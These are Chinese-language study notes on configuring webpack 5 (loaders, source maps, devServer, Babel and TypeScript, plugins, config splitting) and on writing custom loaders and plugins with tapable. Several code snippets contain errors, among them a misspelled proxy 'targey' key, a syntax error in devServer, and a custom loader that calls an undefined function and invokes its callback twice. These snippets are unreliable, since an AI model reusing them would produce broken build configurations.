  • nosource-source-map // 会生成map 文件,但是没有源文件提示

设置规则

(inline | hidden | eval )(nosources)(cheap|cheap-module )sourcemap

source Map

可以根据转换后的代码再次转换为源代码,方便定位调试

当将devtool 设置为source-map 的时候,在打包后,就会额外生成一个main.js.map 文件,格式化后,我们发现里面大致有这几个字段

version: 3   // 版本
sources: []  // 告诉我们将来的map文件是通过哪个源文件转换来的
names: [] // 对names里面的字符进行特殊的处理
mappings: 'xxx' // 类似于映射算法
file: 'x x x' // 源文件名
sourcesContent: [] // 源文件备份
sourceRoot: '' // 记录sourceMap文件的根路径

entry

打包的目录起点

entry: "./src/index.js",

output

  • path : 打包资源输出到哪一个目录

  • filename: 打包输出的文件名

  • publicPath: "", index.html内部引用打包后的js路径,默认是"",

​ 拼接的规则就是拿到前面的域名 + publicPath + filename

output: {
    path: path.resolve(__dirname, "dist"), // 打包的资源输出到哪个目录
    filename: "main[hash:6].js",
    publicPath: "",
    assetModuleFilename: "[name].[hash:6].[ext]", // 打包统一的目录下的名称
  },

resolve

配置当前模块解析规则

resolve: {
    // 配置模块解析规则
    extensions: [".js", ".jsx", ".tsx", ".ts", ".json"],
    alias: { // 配置别名
      "@": path.resolve(__dirname, "src"),
    },
  },

devServer

使用webpack-dev-server 的一系列配置

  • publicPath: 指定本地服务所在的目录,默认值为 / (项目所在目录)
  • contentBase: 打包之后的资源如果依赖了其他没有打包的资源,则告知去哪里找,绝对路径
  • watchContentBase: 和contenBase 配套,进行监听热更新
 devServer: {
    // webpack-dev-server 配置
    // 配置额外的静态文件目录
    contentBase: path.resolve(__dirname, "dist"),
    watchContentBase: true,
    compress: true, // 默认为false, 开启服务端gzip 的压缩
    port: 8080,
    open: true,
    hot: 'only';, // 热更新
    // hotOnly: true, // 后面文档更新为了hot 报错信息不会刷新页面
    publicPath: "/", // 后面文档更新为了static
    // historyApiFallback: true
    proxy: {}
  },

建议output 里面的publicPath 和devServer 里面的publicPath 设置为一样的

proxy

设置代理

 proxy: {
      // http:localhost:8000/api/users
      // https://api.github.com.api/api/users
      "/api": {
        targey: "https://api.github.com", // 实际代理的地址
        pathRewrite: {
          "^/api": "", // 将地址重写,将/api重写为“”, 想当于https://api.github.com.api/users
        },
        changeOrigin: true, // 修改host
      },
    },

loader

loader 是一个模块,将一些文件转换为webpack可以识别的模块,例如css模块不能进行webpack 进行打包,需要进行转换

css-loader 将css文件转换为一个对象,让webpack 能够识别css 语法,style-loader 将转换后的对象应用到页面上展示出style来,利用less-loader 来进行处理less文件(less 会把less 语法转为css)

  • css-loader

  • style-loader

  • less-loader

配置loader 语法

在webpack.config.js

module: {
	rules: [  // 添加多个不同文件的loader
		{
			test: /\.css$/,
			use: [ // 从下往上,从右边往左执行
        {
          loader: "style-loader"// options: ""  暂时不需要参数,所以不传
        },
        {
          loader: 'css-loader'
        }
			]
		},
	  { test: /\.less$/, use: ["style-loader", "css-loader", "less-loader"] }, // 简写方式
	]
}
 module: {
    // loader 分类 pre前置 normal inline post
    rules: [
      { test: /\.txt$/, type: "asset/source" },
      //   { test: /\.css$/, use: ["style-loader", "css-loader"] },
      {
        test: /\.css$/,
        use: [
          {
            loader: "style-loader",
            // options: "",
          },
          {
            loader: "css-loader",
          },
          {
            loader: "postcss-loader",
            options: {
              postcssOptions: {
                plugins: [
                  // require("autoprefixer"),
                  require("postcss-preset-env"),
                ],
              },
            },
          },
        ],
      },
      {
        test: /\.less$/,
        use: [
          "style-loader",
          "css-loader",
          {
            loader: "postcss-loader",
            options: {
              postcssOptions: {
                plugins: [
                  // require("autoprefixer"),
                  require("postcss-preset-env"),
                ],
              },
            },
          },
          "less-loader",
        ],
      },
    ],
  },

我们发现在less 和css 中都会用到一样的loader,有一些冗余了,所以可以单独的拿出来一个文件进行配置

项目根目录下创建一个postcss.config.js

module.exports = {
  plugins: [require("postcss-preset-env")],
};

然后model 就可以直接写postcss-loader,就会自动找到他的配置文件postcss.config.js

 {
        test: /\.less$/,
        use: [
          "style-loader",
           {
            loader: "css-loader",
            options: {
              importLoaders: 1,  // 往前找一个,css-loader需要往前找一个loader执行,再次调用postcss-loader
            },
          },
          "postcss-loader",
          "less-loader",
        ]
 }

打包图片 file-loader

将图片也当作模块导入,webpack 默认不能处理,需要用到file-loader

// 引入图片
import oImagesrc from "./img/es.png";
import "./css/img.css";

function packImg() {
  // img 标签,src 属性
  const oEle = document.createElement("div");

  // 创建img标签,设置src
  const oImg = document.createElement("img");
  const requireEsModul = require("./img/es.png");
  console.log(requireEsModul, "---->requireEsModul");
  // file-loader 处理后,会将require 导入后的变为一个对象,里面的defalut属性才是图片地址
  // oImg.src = require("./img/es.png").default;
  
  // 如果file-loader 设置了options属性 esModule: false 则可以直接使用 
  // oImg.src = require("./img/es.png"); 
  
  // 利用import 将图片引入来进行使用
  oImg.src = oImagesrc;
  oEle.appendChild(oImg);

  // 设置背景图片
  const oBgImg = document.createElement("div");
  oBgImg.className = "bgBox";
  oEle.appendChild(oBgImg);

  return oEle;
}

document.body.appendChild(packImg());
  • 使用require 导入图片,如果不给file-loader 配置esmodule: false, 则需要.default 使用
  • 添加esmodule: false
  • 采用import xxx from 图片资源地址

webpack.config.js 配置

 {
        test: /\.(png|svg|gif|jpe?g)$/,
        use: [
          {
            loader: "file-loader",
            options: {
              esModule: false, // 是否转化后的包裹成esModule
              // 修改打包的图片的名称
              /**
               * 占位符号
               * [ext]: 扩展名称
               * [name]:文件名称
               * [hash]: 文件内容产出的hash
               * [contentHash]: hash值
               * [hash:<length>]  截取hash 长度
               * [path]: 路径
               */
              name: "[name].[hash:6].[ext]",
              outputPath: "img",
              // name: "img/[name].[hash:6].[ext]", 简写设置文件打包后的地址以及名称等
            },
          },
        ],
      },

打包图片的时候还有一个是url-loader,使用和file-loader差不多,但是

url-loader 会将图片以base64来进行打包到代码中,减少请求次数,而file-loader则会将图片拷贝到dist 目录下,分开请求,在url-loader 内部也可以调用file-loader. 利用limit 属性

 {
        test: /\.(png|svg|gif|jpe?g)$/,
        use: [
          {
            loader: "url-loader",
            options: {
              esModule: false, 
              name: "img/[name].[hash:6].[ext]",
              limit: 25 * 1024, // 超过就拷贝,没有超过就转base64
            },
          },
        ],
  }

webpack5不需要再去配置file-loader 或者url-loader,他新增了一个asset module type 模块

  • asset/resource == file-loader
  • asset/inline == url-loader
  • asset/source == raw-loader
  • asset. url-loader + limit
// 01 方式一 
{
        test: /\.(png|svg|gif|jpe?g)$/,
        type: "asset/resource",
        // 打包到统一的目录下面 这里也可以在output 下面配置。与这里的区别是,output配置是只要经过asset 都打包到统一的目录下面
        generator: {
          filename: "img/[name].[hash:6][ext]",
        },
  },
    
// 02 方式二
   {
        test: /\.(png|svg|gif|jpe?g)$/,
        type: "asset",
        generator: {
          filename: "img/[name].[hash:6][ext]",
        },
        parser: {
          dataUrlCondition: {  // 相当于limit
            maxSize: 25 * 1024,
          },
        },
    }
  
 output: {
    path: path.resolve(__dirname, "dist"),
    filename: "main.js",
    // 只要经过asset 都打包到统一的目录下面
    assetModuleFilename: "[name].[hash:6][ext]",
  },

asset 处理图标字体资源

自己实现一个loader

browerslistrc 配置

用来配置项目中兼容哪些平台 可以在caniuse.com/中查看(https:/…

安装webpack的时候,已经默认安装配置了,在nodeModules 中的 browserslist这个包,可以利用npx browserslist 来查看当前兼容的浏览器版本

两种配置方法:

  • package.json
"browserlist": [
	">1%",
	"last 2 version",
	"not dead"
]
  • 项目下新建 .browserslistrc
>1%
last 2 version
not dead

postcss

就是通过javascript 来转换样式的工具

比如说给css 补充前缀,做一些css的样式做一些兼容性的处理满足更多的浏览器

npm i postcss posts-cli

  • postcss。相当于一个转换样式的工具
  • postcss-cli. // 安装后,可以在命令行直接使用npx postcss
npx postcss -o ret.css ./src/test.css   // 将test.css 输出到ret.css 中

安装autoprefixer 插件 用来自动安装前缀( autoprefixer.github.io/ 添加前缀)

npx postcss --use autoprefixer -o ret.css ./src/test.css // 将test.css 输出到ret.css 中,添加前缀

如果很多样式都需要添加前缀,所以我们利用postcss-loader 这个loader,在配置文件中设置 npm i postcss-loader

module: {
	rules: [ 
	  { 
      test: /\.css$/, 
      use: [
        	"style-loader", 
        	"css-loader", 
	  	 		{
            loader: "postcss-loader",
            options: {
              postcssOptions: {
                plugins: [require("autoprefixer")], // 利用插件
              },
            },
          },
	  			] 
    }, 
	]
}
postcss-preset-env 预设(插件的集合)

集合了很多的常见的插件的集合

 {
   loader: "postcss-loader",
   options: {
  	 postcssOptions: {
     plugins: [
       // require("autoprefixer"),
       require("postcss-preset-env"),
     ],
   	},
 },

babel-loader配置

babel 简单了解

安装babel核心包
npm i @babel/core -D

安装脚手架执行babel
@babel/cli -D

安装工具包
@babel/plugin-transform-arrow-function
@babel/plugin-transform-block-scoping

执行使用babel
npx babel src/babeltest.js --out-dir build --plugins=@babel/plugin-transform-arrow-functions


  • npm i babel-loader 安装babel-loader
  • npm i @babel/preset-env 安装预设 或者安装自己需要的plugin
   {
        test: /\.js/,
        exclude: /node_modules/,  // node_modules中的不做处理
        use: [
          {
            loader: "babel-loader",
            options: {
              presets: ["@babel/preset-env"], // 预设,就可以不用一个个写plugin
              // 也可以在后面直接配置指定浏览器、
              // presets: [["@babel/preset-env",{ targets: "chrome 91" }]],
              plugins: [],
            },
          },
        ],
      },

babel-loader 在webpack 打包的时候,是会根据.browserslistrc 文件来进行转换的

所以可以把babel-loader 配置文件单独拿出去

  • bable.config.js(json cis mjs)
  • babelrc.json(js)

项目根目录下新建babel.config.js 文件

module.exports = {
  presets: [["@babel/preset-env" /*{ targets: "chrome 91" }*/]],
};

然后webpack.config.js 就可以改为
{
	test: /\.js$/,
	use: ['babel-loader']
}

polyfill

Babel 的预设不一定可以将所有的语法都能转为浏览器兼容可以使用的,

所以当遇到最新的语法的时候,需要使用polyfill

Webpack5 之前需要安装 @babel/polyfill npm i @babel/polyfill --save, 但是打包会消耗更多时间,因为不能按需配置

所以webpack5只要 core-js. 和 regenerator-runtime,不需要@babel/polyfill

npm i core-js regenerator-runtime

然后给babel.config.js 中进行配置

useBuiltIns

  • usage
  • entry
module.exports = {
  presets: [
    [
      "@babel/preset-env",
      {
        // useBuiltIns: false, // 不对当前js处理做polyfill 填充
        useBuiltIns: "usage", // 使用这个后,会根据用户源代码当中所使用的新语法进行填充,corejs 会默认使用2版本,所以需要指定版本corejs 为3
        // useBuiltIns: "entry", // 依据所要兼容的浏览器browserslistrc来进行填充,不会去管源代码用没用,只要浏览器不兼容,就会把它全部填充进来,如果需要按需加载,需要在源代码中添加引入 core-js 和 regenerator-runtime
        // import "core-js/stable"
        // import "regenerator-runtime/runtime"
        corejs: 3,
      },
    ],
  ],
};

ts-loader

 {
   test: /\.ts$/,
   use: ["ts-loader"],
 }

转换ts 文件 ,将ts 文件语法转为javascript, 但是如果文件中用到新特性之类的,还是需要babel-loader 来进行添加polyfill转换,安装**@babel/preset-typescript**


 {
   test: /\.ts$/,
   use: ["babel-loader"],
 },


module.exports = {
  presets: [
    [
      "@babel/preset-env",
      {
        // useBuiltIns: false, // 不对当前js处理做polyfill 填充
        useBuiltIns: "usage", // 使用这个后,会根据用户源代码当中所使用的新语法进行填充,corejs 会使用2版本,所以需要指定版本corejs 为3
        //  useBuiltIns: "entry", // 依据所要兼容的浏览器browserslistrc来进行填充,不会去管源代码用没用,只要浏览器不兼容,就会把它全部填充进来,如果
        // 需要按需加载,需要在源代码中添加
        corejs: 3,
      },
    ],
    ["@babel/preset-typescript"],
  ],
};

但是使用babel-loader 如果代码有语法错误,在编译阶段,是不会暴露出来的,只会在运行的时候发现,但是使用ts-loader 却可以

这个时候,我们即希望在编译的时候进行语法校验,也希望babel-loader进行polyfill 填充,所以利用pack.json 方式,在build的时候,同时利用tsc检查一个语法

 "tscck": "tsc --noEmit"   // 只会校验语法,但是不会产出新的js 文件
"scripts": {
    "start": "webpack serve",
    "build": "npm run tscck && webpack",
    "tscck": "tsc --noEmit"
  },

plugin

loader 和plugin 区别

loader 对特定的模块类型进行转换, 读取某一个资源类型的内容时候使用

plugin 可以做更多的事情,可以在webpack 打包的任意生命周期中做一些事情

clean-webpack-plugin

清空dist 目录

html-webpack-plugin

配置打包后的index.html

const { CleanWebpackPlugin } = require("clean-webpack-plugin");
const HtmlWbpackPlugin = require("html-webpack-plugin");

webpack.config.js

plugins: [
    new HtmlWbpackPlugin({ template: "./src/index.html" }),
    new CleanWebpackPlugin(),
 ],
definePlugin

webpack 自带的默认的插件,可以使用全局的常量

const { DefinePlugin } = require("webpack");

// 比如配置一个BASE_URL的常量
 plugins: [
    new DefinePlugin({
      BASE_URL: 'lalala', // 注意: 这里会把这个值直接赋值到常量中去
    }),
  ],

copy-webpack-plugin

有时候,public 中不希望webpack进行打包,所以需要进行拷贝

注意: 这里需要9版本,10版本会报错

const CopyWebpackPlugin = require("copy-webpack-plugin");

 new CopyWebpackPlugin({
      patterns: [
        { from: "public" }, // 不写to 的话,会自动复制到配置的output 这个目录
        // { from: "other", to: "public" },
      ],
webpack-dev-server

可以用webpack 打包的时候监听,用vscode 的live server 来进行查看,但是不能局部刷新,也可以在配置文件里面配置watch: true, 同样,有性能问题,

webpack-dev-server 可以实现局部刷新打包

npm i webpack-dev-server

 "start": "webpack serve",
 "build": "webpack"
 "wacth": "webpack --watch"
实现plugin

自己实现一个plugin

webpack.config.js

为了区分生产环境打包配置和开发环境打包配置,我们进行了对webppack.config.js 进行拆分配置。分为三个文件,一个基础文件配置,在生产和开发都会用到,然后一个生产环境配置,一个开发环境配置。通过利用 webpack-merge 将配置文件合并

首先需要修改我们的package.json 文件中的script, 将打包命令执行的webpack配置文件目录通过--config指定为我们想要执行的那个文件,然后通过 --env 来传入当前环境的参数

"scripts": {
    "build": "webpack --config ./config/webpack.common.js --env production",
    "serve": "webpack serve --config ./config/webpack.common.js --env development",
  },

在根目录下新建config 文件夹,里面创建四个文件

  • webpack.common.js
  • webpack.dev.js
  • webpack.pro.js
  • pathUtils.js // 来配置绑定当前上下文路径

因为我们在写配置别名和output的时候,需要传入一个绝对路径,但是目前我们修改完后,webpack的配置文件路径也就对应不上了,所以利用pathUtils.js 里面的方法来保存一个绝对路径地址。

// pathUtils.js

const path = require("path");
// 获取当前运行地址
const currentDir = process.cwd();
// 根据当前根目录生成绝对路径地址
const resolveCurrent = (relativePath) => {
  return path.resolve(currentDir, relativePath);
};
module.exports = resolveCurrent;

然后来配置我们的webpack.common.js 文件,我们把公共的配置都抽离到这个文件中,然后利用 webpack-merge 将配置文件合并

const { merge } = require("webpack-merge");
// 导入确定路径的utils函数
const resolveCurrent = require("./pathalis");
// 导入公共插件
const HtmlWbpackPlugin = require("html-webpack-plugin");



// 导入其他配置文件
// 导入生产环境webpack配置
const prodConfig = require("./webpack.prod");
// 导入开发环境webpack配置
const devConfig = require("./webpack.dev");


// 导出webpack配置文件
// 这里导出一个函数是为了接受package.json里面传入的环境参数
module.exports = (env) => {
  // 根据传入环境变量判断
  const isProduction = env.production;
  // 根据当前打包模式判断要和哪一个配置合并
  const config = isProduction ? prodConfig : devConfig;
	// 利用webpack-merge合并配置文件并返回
  const mergeConfig = merge(baseConfig, config);
  return mergeConfig;
};


// // 定义对象,保存基础配置信息
const baseConfig = {
  entry: "./src/index.js",
  resolve: {
    // 配置模块解析规则
    extensions: [".js", ".jsx", ".tsx", ".ts", ".json"],
    alias: {
      "@": resolveCurrent("./src"),  // 修改路径
    },
  },
  output: {
    path: resolveCurrent("./dist"), // 打包的资源输出到哪个目录
    filename: "main[hash:6].js",
    publicPath: "",
  },

  module: {
    // loader 分类 pre前置 normal inline post
    rules: [
      //   { test: /\.css$/, use: ["style-loader", "css-loader"] },
      {
        test: /\.css$/,
        use: [
          {
            loader: "style-loader",
            // options: "",
          },
          {
            loader: "css-loader",
            options: {
              importLoaders: 1,
            },
          },
          {
            loader: "postcss-loader",
            // options: {
            //   postcssOptions: {
            //     plugins: [
            //       //   require("autoprefixer"),
            //       require("postcss-preset-env"),
            //     ],
            //   },
            // },
          },
        ],
      },
      {
        test: /\.less$/,
        use: [
          "style-loader",
          "css-loader",
          "postcss-loader",
          //   {
          //     loader: "postcss-loader",
          //     options: {
          //       postcssOptions: {
          //         plugins: [
          //           //   require("autoprefixer"),
          //           require("postcss-preset-env"),
          //         ],
          //       },
          //     },
          //   },
          "less-loader",
        ],
      },
      // {
      //   test: /\.(png|svg|gif|jpe?g)$/,
      //   use: [
      //     {
      //       loader: "url-loader",
      //       options: {
      //         esModule: false, // 是否转化后的包裹成esModule
      //         // 修改打包的图片的名称
      //         // 占位符号

      //         //   [ext]: 扩展名称
      //         //   [name]:文件名称
      //         //  [hash]: 文件内容产出的hash
      //         //  [contentHash]: hash值
      //         //  [hash:<length>]  截取hash 长度
      //         //   [path]: 路径

      //         name: "[name].[hash:6].[ext]",
      //         // name: "img/[name].[hash:6].[ext]",
      //         outputPath: "img",
      //         limit: 25 * 1024, // 超过就拷贝,没有超过就转base64
      //       },
      //     },
      //   ],
      // },
      {
        test: /\.(png|svg|gif|jpe?g)$/,
        type: "asset",
        // 只需要经过asset 都打包到统一的目录下面
        generator: {
          filename: "img/[name].[hash:6][ext]",
        },
        parser: {
          dataUrlCondition: {
            maxSize: 25 * 1024,
          },
        },
      },
      {
        test: /\.js/,
        exclude: /node_modules/,
        use: [
          {
            loader: "babel-loader",
            // options: {
            //   presets: [["@babel/preset-env" /*{ targets: "chrome 91" }*/]],
            //   plugins: [],
            // },
          },
        ],
      },
      {
        test: /\.ts$/,
        use: ["babel-loader"],
      },
    ],
  },

  plugins: [
    new HtmlWbpackPlugin({
      template: "./src/index.html",
      title: "lalala",
    }),
  ],
};

公共的配置完成后,只需要写入不同环境下的配置就可以了

在webpack.prod.js 中写入生产环境配置

const CopyWebpackPlugin = require("copy-webpack-plugin");
const { CleanWebpackPlugin } = require("clean-webpack-plugin");

module.exports = {
  mode: "production",
  devtool: "source-map",
  plugins: [
    new CleanWebpackPlugin(),
    new CopyWebpackPlugin({
      patterns: [
        { from: "public" },
        // { from: "other", to: "public" },
      ],
    }),
  ],
};

同理,在webpack.dev.js中写入开发环境配置

console.log(1111);

const path = require("path");
const HtmlWbpackPlugin = require("html-webpack-plugin");
const CopyWebpackPlugin = require("copy-webpack-plugin");
const { CleanWebpackPlugin } = require("clean-webpack-plugin");
const { DefinePlugin } = require("webpack");

module.exports = (env) => {
  console.log(env, "---->dfadsfs");
  const isProduction = env.production;
  return {
    // watch: true, // 默认为false
    mode: "development",
    entry: "./src/index.js",
    resolve: {
      // 配置模块解析规则
      extensions: [".js", ".jsx", ".tsx", ".ts", ".json"],
      alias: {
        "@": path.resolve(__dirname, "src"),
      },
    },
    devtool: "source-map",
    output: {
      path: path.resolve(__dirname, "dist"), // 打包的资源输出到哪个目录
      filename: "main[hash:6].js",
      publicPath: "",
      assetModuleFilename: "[name].[hash:6].[ext]", // 打包统一的目录下的名称
    },
    target: "web",
    devServer: {
      // webpack-dev-server 配置
      // 配置额外的静态文件目录
      contentBase: path.resolve(__dirname, "dist"),
      watchContentBase: true,
      compress: true, // 默认为false, 开启服务端gzip 的压缩
      port: 8080,
      open: true,
      hot: true, // 热更新
      hotOnly: true, // 报错信息不会刷新页面
      publicPath: "/",
      // historyApiFallback: true
      proxy: {
        // http:localhost:8000/api/users
        // https://api.github.com.api/api/users
        "/api": {
          targey: "https://api.github.com", // 实际代理的地址
          pathRewrite: {
            "^/api": "", // 将地址重写,将/api重写为“”, 想当于https://api.github.com.api/users
          },
          changeOrigin: true, // 修改host
        },
      },
    },
    /**
     * loader 是什么,为啥用loader
     * loader 是一个模块,将一些文件转换为webpack可以识别的模块,例如css 需要进行转换
     */
    module: {
      // loader 分类 pre前置 normal inline post
      rules: [
        { test: /\.txt$/, type: "asset/source" },
        { test: /\.txt$/, type: "asset/source" },
        //   { test: /\.css$/, use: ["style-loader", "css-loader"] },
        {
          test: /\.css$/,
          use: [
            {
              loader: "style-loader",
              // options: "",
            },
            {
              loader: "css-loader",
              options: {
                importLoaders: 1,
              },
            },
            {
              loader: "postcss-loader",
              // options: {
              //   postcssOptions: {
              //     plugins: [
              //       //   require("autoprefixer"),
              //       require("postcss-preset-env"),
              //     ],
              //   },
              // },
            },
          ],
        },
        {
          test: /\.less$/,
          use: [
            "style-loader",
            "css-loader",
            "postcss-loader",
            //   {
            //     loader: "postcss-loader",
            //     options: {
            //       postcssOptions: {
            //         plugins: [
            //           //   require("autoprefixer"),
            //           require("postcss-preset-env"),
            //         ],
            //       },
            //     },
            //   },
            "less-loader",
          ],
        },
        // {
        //   test: /\.(png|svg|gif|jpe?g)$/,
        //   use: [
        //     {
        //       loader: "url-loader",
        //       options: {
        //         esModule: false, // 是否转化后的包裹成esModule
        //         // 修改打包的图片的名称
        //         // 占位符号

        //         //   [ext]: 扩展名称
        //         //   [name]:文件名称
        //         //  [hash]: 文件内容产出的hash
        //         //  [contentHash]: hash值
        //         //  [hash:<length>]  截取hash 长度
        //         //   [path]: 路径

        //         name: "[name].[hash:6].[ext]",
        //         // name: "img/[name].[hash:6].[ext]",
        //         outputPath: "img",
        //         limit: 25 * 1024, // 超过就拷贝,没有超过就转base64
        //       },
        //     },
        //   ],
        // },
        {
          test: /\.(png|svg|gif|jpe?g)$/,
          type: "asset",
          // 只需要经过asset 都打包到统一的目录下面
          generator: {
            filename: "img/[name].[hash:6][ext]",
          },
          parser: {
            dataUrlCondition: {
              maxSize: 25 * 1024,
            },
          },
        },
        {
          test: /\.js/,
          exclude: /node_modules/,
          use: [
            {
              loader: "babel-loader",
              // options: {
              //   presets: [["@babel/preset-env" /*{ targets: "chrome 91" }*/]],
              //   plugins: [],
              // },
            },
          ],
        },
        {
          test: /\.ts$/,
          use: ["babel-loader"],
        },
      ],
    },

    plugins: [
      new HtmlWbpackPlugin({
        template: "./src/index.html",
        title: "lalala",
      }),
      new CleanWebpackPlugin(),
      // new DefinePlugin({
      //   BASE_URL: '"lalala"',
      // }),
      // new CopyWebpackPlugin({
      //   patterns: [
      //     { from: "public" },
      //     // { from: "other", to: "public" },
      //   ],
      // }),
    ],
  };
};

用到的依赖版本,有的依赖在实际项目中其实并不需要安装

"dependencies": {
    "@babel/preset-env": "^7.16.11",
    "@babel/preset-typescript": "^7.16.7",
    "autoprefixer": "^10.4.2",
    "core-js": "^3.21.0",
    "css-loader": "^5.2.6",
    "html-webpack-plugin": "^5.3.1",
    "less": "^4.1.1",
    "less-loader": "^9.0.0",
    "postcss-loader": "^6.2.1",
    "regenerator-runtime": "^0.13.9",
    "style-loader": "^2.0.0",
    "ts-loader": "^9.2.6",
    "webpack": "^5.38.1",
    "webpack-cli": "^4.7.0",
    "webpack-dev-server": "^3.11.2"
  },
  "devDependencies": {
    "@babel/cli": "^7.17.0",
    "@babel/core": "^7.17.2",
    "@babel/plugin-transform-arrow-functions": "^7.16.7",
    "babel-loader": "^8.2.3",
    "clean-webpack-plugin": "^4.0.0",
    "copy-webpack-plugin": "^9.0.0",
    "file-loader": "^6.2.0",
    "postcss": "^8.4.6",
    "postcss-cli": "^9.1.0",
    "postcss-preset-env": "^7.3.1",
    "url-loader": "^4.1.1"
  }

基础篇完结

原理篇

手写loader

Loader 本质上是一个函数, loader分类 pre前置. normal. inline post

我们先来看下loader的执行顺序, 一般我们是这么写loader

module: {
	rules: [
		{
			test: /\.js$/,
			use: [
				// loader1, loader2, loaser3
				{
					loader: 'loader1',
					options: {
						name: 'xxxx',
						age: 18
					}
				},
				{
					loader: 'bablelLoader',
					options: {
						presets: ["@babel/preset-env"]
					}
				}
			]
		}
	]
}

解析到loader 是一个数组的时候,会从左往右解析,每一个loader 其实都有一个pitch 方法,解析到第一个loader的时候,会执行第一个loader的pitch 方法, 然后解析到第2个loader的时候,秽执行第二个loader的pitch 方法,解析完成后,loader 会开始从下往上,从右往左开始执行

// module.exports.pitch = () => {
//   console.log(111);
// };

loader 有同步loader,也有异步loader, 可以同步执行,也可以异步执行

同步loader

// 写法一
module.exports = (content, map, meta) => {
	console.log(content)
	return content
}
// 写法二
module.exports = function(content, map, meta) {
	this.callback(null, content, map, meta)
}

异步loader写法

module.exports = function(content, map, meta) {
  const callback = this.async() // 在这里阻塞下一个loader执行,但不会阻塞其他操作,当调用callback 的时候,loader 才会往下执行
  setTimeout(() => {  
 		 callback(null, content, map, meta)
  }, 1000) // 一秒后loader 才会往下执行
}

我们来写一个简单的loader实现babel转换功能 ,里面用到loader-utils 来获取loader中的属性,用schema-utils 来验证loader传入参数的格式

const { getOptions } = require("loader-utils"); // 来获取loader传入的参数
const { validate } = require("schema-utils"); // 验证loader 传入参数的格式
const schema = require("./schema.json");

const babel = require("@babel/core");
const util = require("util");


module.exports = function(content, map, meta) {
  	const options = getOptions(this); // 拿到传给loader的参数 // this.getOptions()也可以获取
  
  // 校验loader 参数
  validate(schema, options, {
    name: 'loader options 传入参数格式错误'  // 校验失败提示信息
  })
  
  const callback = this.async(); // 会在这里阻塞,等到调用callback的时候,loader才会往下执行
  
  // 使用bable 做编译
  transform(content, options).then(({code, map}) => {
		return callback(null, code, map, meta)
  }).catch((e) => callback(e) )
  	
  setTimeout(() => {
    callback(null, content, map, meta)
  }, 1000) // 一秒后loader往下执行

}

schema.json

{
  "type": "object",
  "properties": {
    "name": {
      "type": "string",
      "description": "描述, additionalProperties 表示能不能追加属性"
    }
  },
  "additionalProperties": true
}

这样,我们就可以使用自己的loader了,不过要在使用的时候,将其导入进来

{
	 test: /\.js$/,
        loader: path.resolve(__dirname, "loaders", "loader1"), // loaders 是放loader的文件夹,loader1是loader文件名
        use: [
           {
             loader: "loader1",
             options: {
               name: "lalala",
               age: 18,
             },
           },
        ]
}

手写plugin

plugin 是一个类,他利用tapable,里面提供了webpack生命周期不同时期的钩子函数(有同步钩子,异步钩子等),可以让plugin注册对应不同钩子的事件处理函数,然后在webpack 对应的生命周期的时候触发执行这些事件处理函数。

我们简单使用一个这个tapable 库

// npm i tapable -D
const {
  SyncHook,
  SyncBailHook,
  AsyncParallelHook,
  AsyncSeriesHook,
} = require("tapable");

// compiler 钩子,相当于生命周期函数,在触发compiler 的时候,会创建compildation
// compilation 钩子 ,其实是一个对象
class Lesson {
  constructor() {
    // 初始化hooks容器
    this.hooks = {
      // t同步勾子
      go: new SyncHook(["address"]),
      // go: new SyncBailHook(["address"]), // 一旦遇到return 就不会再执行,直接退出
      // 异步并行勾子,里面并行执行
      leave: new AsyncParallelHook(["name", "age"]),
      // 异步串行 AsyncSeriesHook
      // leave: new AsyncSeriesHook(["name", "age"]),
    };
  }
  tap() {
    // 往hooks容器中注册事件/添加回调函数

    // 注册同步任务
    this.hooks.go.tap("class0318", (address) => {
      console.log("class0318", address);
    });

    this.hooks.go.tap("class0410", (address) => {
      console.log("class0410", address);
    });

    // 注册异步任务
    this.hooks.leave.tapAsync("class0510", (name, age, cb) => {
      setTimeout(() => {
        console.log("class0510", name, age);
        cb();
      }, 1000);
    });

    this.hooks.leave.tapPromise("class0610", (name, age) => {
      return new Promise((resolve, reject) => {
        setTimeout(() => {
          console.log("class0510", name, age);
          resolve();
        }, 1000);
      });
    });
  }
  start() {
    // 触发hooks
    this.hooks.go.call("c318");

    // 触发异步勾子

    this.hooks.leave.callAsync("lalla", 18, () => {
      // 所有leavae 容器中的函数触发完了,才触发
      console.log("end");
    });
  }
}

const l = new Lesson();
l.tap();
l.start(); // classo318 c318
// class0410 c318

Plugin1.js

class Plugin1 {
  apply(complier) {
    complier.hooks.emit.tap("plugin1", (compilation) => {
      console.log("emit.tap");
    });

    // 异步串行勾子
    complier.hooks.emit.tapAsync("plugin1", (compilation, cb) => {
      setTimeout(() => {
        console.log("emit.tapAsync");
        cb(); // 一定要调用cb 才会执行
      }, 1000);
    });

    complier.hooks.emit.tapPromise("plugin1", (compilation, cb) => {
      return new Promise((resolve) => {
        setTimeout(() => {
          console.log("emit.tapPromise");
          resolve(); // 一定要调用cb 才会执行
        }, 1000);
      });
    });

    complier.hooks.afterEmit.tap("plugin1", (compilation) => {
      console.log("afterEmit.tap");
    });

    complier.hooks.done.tap("plugin1", (compilation) => {
      console.log("done.tap");
    });
  }
}

module.exports = Plugin1;

Plugin2.js

// 利用node 开启调试模式
/**
 * package.json 中开启 --inspect-brk 相当于首行开启一个断点
 * “debugeStart”: "node --inspect-brk ./node_modules/webpack/bin/webpack.js"
 * 运行后,在要调试的地方打一个debugger
 */

const fs = require("fs");
const util = require("util");
const path = require("path");

// 快速创建一个基于webpack创建的文件类型
const webpack = require("webpack");
// RawSource 可以将读取文件的数据变成一个对象
const { RawSource } = webpack.sources;

// 将fs readFile 方法变成给予
// const readFile = util.promisify(fs.readFile);

class Plugin2 {
  apply(compiler) {
    // 在 thisCompilation 的时候,会初始化compilation
    compiler.hooks.thisCompilation.tap("Plugin2", (compilation) => {
      // debugger;
      // console.log(compilation, "0000");
      // 添加资源
      compilation.hooks.additionalAssets.tapAsync("Plugin2", (cb) => {
        // debugger;
        // console.log(compilation, "0000");

        const content = "hello word";
        // 往输出的资源中,添加一个a.txt 文件
        compilation.assets["a.txt"] = {
          // 文件大小
          size() {
            return content.length;
          },
          // 文件内容
          source() {
            return content;
          },
        };

        const data = fs.readFileSync(path.resolve(__dirname, "b.txt"));
        console.log(data, "--->data");
        compilation.assets["b.txt"] = new RawSource(data);

        // 另一种输出资源的方式,相当于 compilation.assets["b.txt"] = new RawSource(data);
        compilation.emitAsset("b.txt", new RawSource(data));

        cb();
      });
    });
  }
}

module.exports = Plugin2;

自己实现一个copyWebpackPlugin2

Schema.json

{
  "type": "object",
  "properties": {
    "from": {
      "type": "string"
    },
    "to": {
      "type": "string"
    },
    "ignore": {
      "type": "array"
    }
  },
  "additionalProperties": false
}

